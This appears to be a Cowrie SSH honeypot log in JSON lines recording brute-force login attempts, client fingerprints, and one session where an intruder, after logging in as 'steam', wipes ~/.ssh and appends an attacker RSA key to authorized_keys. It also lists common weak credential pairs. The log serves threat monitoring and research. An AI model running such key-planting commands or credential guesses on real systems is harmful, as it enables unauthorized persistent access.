{"eventid":"cowrie.login.failed","username":"frappe","password":"1","message":"login attempt [frappe/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:16.728492Z","src_ip":"95.240.192.149","session":"07056f940c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:17.842118Z","src_ip":"95.240.192.149","session":"07056f940c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":58866,"dst_ip":"159.203.135.109","dst_port":22,"session":"d048e38f51dd","protocol":"ssh","message":"New connection: 13.67.236.135:58866 (159.203.135.109:22) [session: d048e38f51dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:49.703847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:49.709373Z","src_ip":"13.67.236.135","session":"d048e38f51dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:49.750093Z","src_ip":"13.67.236.135","session":"d048e38f51dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deni","password":"deni","message":"login attempt [deni/deni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:49.944725Z","src_ip":"13.67.236.135","session":"d048e38f51dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:17:50.987860Z","src_ip":"13.67.236.135","session":"d048e38f51dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":51836,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b92eb6f0981","protocol":"ssh","message":"New connection: 95.240.192.149:51836 (10.17.0.5:22) [session: 4b92eb6f0981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:10.705261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:10.710117Z","src_ip":"95.240.192.149","session":"4b92eb6f0981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:10.820491Z","src_ip":"95.240.192.149","session":"4b92eb6f0981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1q2w3e4r","message":"login attempt [mcserver/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:11.288250Z","src_ip":"95.240.192.149","session":"4b92eb6f0981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:12.401793Z","src_ip":"95.240.192.149","session":"4b92eb6f0981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":58120,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a75f3186539","protocol":"ssh","message":"New connection: 79.55.224.44:58120 (10.17.0.5:22) [session: 5a75f3186539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:22.937142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:22.942616Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:23.068620Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"qwerty","message":"login attempt [steam/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:23.567106Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:23.881281Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:23.885239Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:23.889978Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.010672Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.285290Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.289069Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.411645Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.415527Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":12363,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68a9846a52a","protocol":"ssh","message":"New connection: 79.55.224.44:12363 (10.17.0.5:22) [session: c68a9846a52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.527464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.530974Z","src_ip":"79.55.224.44","session":"c68a9846a52a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:24.647959Z","src_ip":"79.55.224.44","session":"c68a9846a52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:25.147415Z","src_ip":"79.55.224.44","session":"c68a9846a52a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:26.268934Z","src_ip":"79.55.224.44","session":"c68a9846a52a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":47218,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a468bba057","protocol":"ssh","message":"New connection: 79.55.224.44:47218 (10.17.0.5:22) [session: 46a468bba057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:26.376963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:26.381914Z","src_ip":"79.55.224.44","session":"46a468bba057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:26.499948Z","src_ip":"79.55.224.44","session":"46a468bba057","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:26.989295Z","src_ip":"79.55.224.44","session":"46a468bba057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:27.107138Z","src_ip":"79.55.224.44","session":"46a468bba057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:27.135981Z","src_ip":"79.55.224.44","session":"5a75f3186539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":53348,"dst_ip":"10.17.0.5","dst_port":22,"session":"887fb888a391","protocol":"ssh","message":"New connection: 43.165.177.199:53348 (10.17.0.5:22) [session: 887fb888a391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:37.310039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:37.315634Z","src_ip":"43.165.177.199","session":"887fb888a391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:37.489963Z","src_ip":"43.165.177.199","session":"887fb888a391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"dbuser","message":"login attempt [dbuser/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:38.216451Z","src_ip":"43.165.177.199","session":"887fb888a391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:39.393374Z","src_ip":"43.165.177.199","session":"887fb888a391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"e37c7a3c2ed3","protocol":"ssh","message":"New connection: 13.67.236.135:56232 (159.203.135.109:22) [session: e37c7a3c2ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:51.653678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:51.658537Z","src_ip":"13.67.236.135","session":"e37c7a3c2ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:51.729091Z","src_ip":"13.67.236.135","session":"e37c7a3c2ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1234","message":"login attempt [test3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:18:51.860646Z","src_ip":"13.67.236.135","session":"e37c7a3c2ed3","protocol":"ssh"}
